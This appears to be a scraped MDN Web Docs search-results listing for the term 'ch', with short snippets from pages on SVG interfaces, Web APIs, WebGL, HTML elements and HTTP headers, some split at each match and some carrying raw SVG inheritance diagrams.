chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGLineElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGRectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGStyleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstyleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGTSpanElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGTextPositioningElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGUseElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 3 more matches
Screen - Web APIs
the screen interface represents a screen, usually the one on whi
ch the current window is being rendered, and is obtained using window.screen.
... note that browsers determine whi
ch screen to report as current by detecting whi
ch screen has the center of the browser window.
... screen.availheight specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, su
ch as the taskbar on windows.
...And 3 more matches
SecurityPolicyViolationEvent - Web APIs
securitypolicyviolationevent.columnnumberread only the column number in the document or worker at whi
ch the violation occurred.
... securitypolicyviolationevent.documenturiread only a usvstring representing the uri of the document or worker in whi
ch the violation was found.
... securitypolicyviolationevent.linenumberread only the line number in the document or worker at whi
ch the violation occurred.
...And 3 more matches
SourceBuffer.appendBufferAsync() - Web APIs
the appendbufferasync() method of the sourcebuffer interface begins the process of asyn
chronously appending media segment data from an arraybuffer or arraybufferview object to the sourcebuffer.
... it returns a promise whi
ch is fulfilled once the buffer has been appended.
... syntax appendpromise = sourcebuffer.appendbufferasync(source); parameters source a buffersource (that is, either an arraybufferview or arraybuffer) whi
ch contains the media segment data you want to add to the sourcebuffer.
...And 3 more matches
StylePropertyMapReadOnly - Web APIs
methods stylepropertymapreadonly.entries() returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype
chain as well).
... stylepropertymapreadonly.forea
ch() executes a provided function once for ea
ch element of stylepropertymapreadonly.
... stylepropertymapreadonly.keys() returns a new array iterator containing the keys for ea
ch item in stylepropertymapreadonly.
...And 3 more matches
SubtleCrypto.importKey() - Web APIs
/* convert a string into an arraybuffer from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function str2ab(str) { const buf = new arraybuffer(str.length); const bufview = new uint8array(buf); for (let i = 0, strlen = str.length; i < strlen; i++) { bufview[i] = str.
charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbkcwggsjageaaoibaqdd0tpv/du2vftjvxj1t/gxtk39snbvroaeb/jkzxae+xa0h+3lhzaqiqnmfacibsgifzuvegb+7tqxwqpolofr/r7mvgwcsk98jyrvtved8zmzyyitsy7m2hcasqafikyoouv5vzyre87/leyzzbpf3bqq4idaqu+k9hj5fkuu6rroeohsdnjc+vddqls
chxvmolz9vtt+ok9j4/tolwr4cg8khdlburcby6gpclo3dpu09sw+6ctx2cx4mkxx6o/0mmdtmac...
...wadyck83mgs4nrsnhkdiqynwx1ajkly51yek6rcrdmi0th2rxrrinoc35svv+apt2rkomgi52rwtesea1kzgfrxjq61rejif6p2vxecvhex6cwlx014lgk43z6q28p6hgeevefijyqcuea5du/myb/qsrscosxlxbqwqkbgqd1+fdc9zimrvi+km7nx2ckbn8rjrdmuh5sbxn2myjdrud8bynnzkcgkmgxvxsvjrbmvorby2txoiqudzkk5md3e5o/qzwpwqlgru8ueynpobax9nrgnfz7rzd+81vh5mfzixfuzouzv29izhu0oqyz9y75ehkldrernkwyoe5auqkbgqdlzapdi1nxkbgsj9iio4kua7jvd4jjrqfy4zhj/jbqvlvm0f/ufp7sxv
chgx4r11c+6icbhx4u+zuu0hgjt4d+hnxmggyxr8fiuvxolotdkvja5sobzk73/9/mbekusdmjprhalzqfmujrwioevdmhfg3tw/rbj5ryatp2dtvumqkbgds8yr52drmt+bwxofwwawb0nhyhsfz/c8v4d4ip5dj5m5kuqquxjwksysgqa40sbqnd05fbqovplu48hfgr/zghn9hujbcsozovozr4srw0uztbva+7jzoz1hkaoywiulr6vca0yurnlj6g5r56+srnkioetupi2dlczcqb0poxaogazynhvtlvizn4igsrjz5qkm4liwbithfadxbv1fq6pt0o/bgf2o+cedq0diylgk64cevwbwsbnsg4vzlbqriauejljwedajya4ee8y5a9l04d...
...zv7njb5crak6crgxxay/mbjrftahxvlazgxypgsye6ufs0+3eommevvdzqbf4qecgyea0zf6vavz28+8wlo6sp3w8nmphk7k9tgevufq30sgdx4g7qpigfprbb4op/e0qcfsiimi3scppjvumqdvvzypoimub+rv3zoxkrzxeuorpopr48fzbl7rn90yrqsasrp9e4iv8qwb3vxle7x0tdqqnryqrc/osgzus2z
chokmcu8= -----end private key-----`; /* import a pem encoded rsa private key, to use for rsa-pss signing.
...And 3 more matches
UIEvent.initUIEvent() - Web APIs
this method must be called to set the event before it is dispat
ched, using eventtarget.dispat
chevent().
... once dispat
ched, it doesn't do anything anymore.
... canbubble is a boolean deciding whether the event should bubble up through the event
chain or not.
...And 3 more matches
URLUtilsReadOnly.hash - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internethash experimental
chrome no support noedge no support nofirefox full support 38 full support 38 no support 3.5 — 38notes notes before firefox 38, firefox returned the hash percent encoded.
... this has been fixed to mat
ch the spec.ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 38 full support 38 no support 4 — 38notes notes before firefox 38, firefox returned the hash percent encoded.
...And 3 more matches
URLUtilsReadOnly.origin - Web APIs
the urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented url, that is, for http and https, the s
cheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... for url using file: s
cheme, the value is browser dependant.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
VisualViewport - Web APIs
for a page containing iframes, ea
ch iframe, as well as the containing page, will have a unique window object.
... ea
ch window on a page will have a unique visualviewport representing the properties associated with that window.
... visualviewport.scale read only returns the pin
ch-zoom scaling factor applied to the visual viewport.
...And 3 more matches
WEBGL_compressed_texture_pvrtc - Web APIs
availability: pvrtc is typically only available on mobile devices with powervr
chipsets.
... it is used in all generations of the iphone, ipod tou
ch and ipad and supported on certain android devices that use a powervr gpu.
...one block for ea
ch 4×4 pixels.
...And 3 more matches
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.framebuffertexturelayer() atta
ches a single layer of a texture to a framebuffer.
... webgl2renderingcontext.invalidateframebuffer() invalidates the contents of atta
chments in a framebuffer.
... webgl2renderingcontext.invalidatesubframebuffer() invalidates portions of the contents of atta
chments in a framebuffer webgl2renderingcontext.readbuffer() selects a color buffer as the source for pixels.
...And 3 more matches
Data in WebGL - Web APIs
shader programs have access to three kinds of data storage, ea
ch of whi
ch has a specific use case.
... ea
ch kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's javascript code, depending on the specific type of variable.
... glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, ea
ch of whi
ch with its own purpose and use cases: attributes, varyings, and uniforms.
...And 3 more matches
Using shaders to apply color in WebGL - Web APIs
applying color to the vertices in webgl objects are built using sets of vertices, ea
ch of whi
ch has a position and a color.
...between this and the fragment shader assigning the fixed color of white to ea
ch pixel, the entire square was rendered as solid white.
... let's say we want to render a gradient in whi
ch ea
ch corner of the square is a different color: red, blue, green, and white.
...And 3 more matches
<url> - CSS: Cascading Style Sheets
the <url> css data type denotes a pointer to a resource, su
ch as an image or a font.
... urls can be used in numerous css properties, su
ch as background-image, cursor, and list-style.
...this
change was not only awkward but, debatably, unnecessary, since urns are almost never used in actual css.
...And 3 more matches
regexp:replace() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes regexp:replace() replaces the portions of a string that mat
ch a given regular expression with the contents of another string.
... syntax regexp:replace(originalstring, regexpstring, flagsstring, replacestring) parameters originalstring the string perform a sear
ch-and-replace operation upon.
... flagsstring the string containing
character flags.
...And 3 more matches
Mutation events - Developer guides
mutation events provide a me
chanism for a web page or an extension to get notified about
changes made to the dom.
...they are expected to be included in firefox 14 and
chrome 18.
...domelementname
changed and domattributename
changed are not supported in firefox (as of version 11), and probably in other browsers as well.
...And 3 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
ea
ch <abbr> element you use is independent from all others; providing a title for one does not automatically atta
ch the same expansion text to others with the same content text.
... to define an abbreviation whi
ch may be unfamiliar to the reader, present the term using <abbr> and either a title attribute or inline text providing the definition.
... you can use <abbr> in concert with <dfn> to establish definitions for terms whi
ch are abbreviations or acronyms.
...And 3 more matches
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
the html <content> element—an obsolete part of the web components suite of te
chnologies—was used inside of shadow dom as an insertion point, and wasn't meant to be used in ordinary html.
... it has now been replaced by the <slot> element, whi
ch creates a point in the dom at whi
ch a shadow dom can be inserted.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
the <em> element can be nested, with ea
ch level of nesting indicating a greater degree of emphasis.
... usage notes the <em> element is for words that have a stressed emphasis compared to surrounding text, whi
ch is often limited to a word or words of a sentence and affects the meaning of the sentence itself.
...use the <i> element to mark text that is in an alternate tone or mood, whi
ch covers many common situations for italics su
ch as scientific names or words in other languages.
...And 3 more matches
<main> - HTML: Hypertext Markup Language
permitted parents where flow content is expected, but only if it is a hierar
chically correct main element.
...content that is repeated across a set of documents or document sections su
ch as sidebars, navigation links, copyright information, site logos, and sear
ch forms shouldn't be included unless the sear
ch form is the main function of the page.
... <main> doesn't contribute to the document's outline; that is, unlike elements su
ch as <body>, headings su
ch as <h2>, and su
ch, <main> doesn't affect the dom's concept of the structure of the page.
...And 3 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
<nextid> is an obsolete html element that served to enable the next web designing tool to generate automatic name labels for its an
chors.
...<form>, <input>, <textarea>, <select>, and <option> html version 2 strict level 1 this is like regular level 1 but it also excludes these depreciated elements, along with su
ch constructs as nesting a header (<h*> element) within a link (<a> element) html version 2 level 2 this is the default and includes and permits all html level 2 functions and elements and attributes html version 2 strict level 2 this excludes these depreciated elements and also forbids su
ch constructs as nesting a header (<h*> element) within a link (<a> element), or having a forms <input> elem...
...ent whi
ch is not within a block level element su
ch as <p> html version 3.2 <nextid> has vanished altogether, never to be heard from again.
...And 3 more matches
<section>: The Generic Section element - HTML: Hypertext Markup Language
the html <section> element represents a standalone section — whi
ch doesn't have a more specific semantic element to represent it — contained within an html document.
... as an example, a navigation menu should be wrapped in a <nav> element, but a list of sear
ch results and a map display and its controls don't have specific elements, and could be put inside a <section>.
... note: if the contents of the element would make sense syndicated as a standalone piece, the <article> element may be a better
choice.
...And 3 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
a <summary> element may only be used as the first
child of a <details> element.
... when the user clicks on the summary, the parent <details> element is toggled open or closed, and then a toggle event is sent to the <details> element, whi
ch can be used to let you know when this state
change occurs.
... default label text if a <details> element's first
child is not a <summary> element, the user agent will use a default string (typically "details") as the label for the disclosure box.
...And 3 more matches
<time> - HTML: Hypertext Markup Language
it may include the datetime attribute to translate dates into ma
chine-readable format, allowing for better sear
ch engine results or custom features su
ch as reminders.
... usage notes this element is for presenting dates and times in a ma
chine readable format.
... the datetime value (the ma
chine-readable value of the datetime) is the value of the element’s datetime attribute, whi
ch must be in the proper format (see below).
...And 3 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
the obsolete html teletype text element (<tt>) creates inline text whi
ch is presented using the user agent's default monospace font face.
... this element was created for the purpose of rendering text as it would be displayed on a fixed-width display su
ch as a teletype, text-only screen, or line printer.
... the terms non-proportional, monotype, and monospace are used inter
changeably and have the same general meaning: they describe a typeface whose
characters are all the same number of pixels wide.
...And 3 more matches
dir - HTML: Hypertext Markup Language
it can have the following values: ltr, whi
ch means left to right and is to be used for languages that are written from the left to the right (like english); rtl, whi
ch means right to left and is to be used for languages that are written from the right to the left (like arabic); auto, whi
ch lets the user agent decide.
... it uses a basic algorithm as it parses the
characters inside the element until it finds a
character with a strong directionality, then applies that directionality to the whole element.
... browsers might allow users to
change the directionality of <input> and <textarea>s in order to assist with authoring content.
...And 3 more matches
translate - HTML: Hypertext Markup Language
the translate global attribute is an enumerated attribute that is used to specify whether an element's translateable attribute values and its text node
children should be translated when the page is localized, or whether to leave them un
changed.
... it can have the following values: empty string or "yes", whi
ch indicates that the element should be translated when the page is localized.
... "no", whi
ch indicates that the element must not be translated.
...And 3 more matches
List of default Accept values - HTTP
(source) safari,
chrome text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 (source) safari 5 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 this is an improvement over earlier accept headers as it no longer ranks image/png above text/html internet explorer 8 image/jpeg, application/x-ms-application, image/gif, appl...
...source safari */*
chrome image/webp,image/apng,image/*,*/*;q=0.8 source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a video when a video is requested, via the <video> html element...
... user agent value comment firefox earlier than 3.6 no support for <video> firefox 3.6 and later video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5 see bug 489071 source
chrome */* source internet explorer 8 or earlier no support for <video> values for audio resources when an audio file is requested, like via the <audio> html element, most browsers use specific values.
...And 3 more matches
Accept-Language - HTTP
the accept-language request http header advertises whi
ch languages the client is able to understand, and whi
ch locale variant is preferred.
... (by languages, we mean natural languages, su
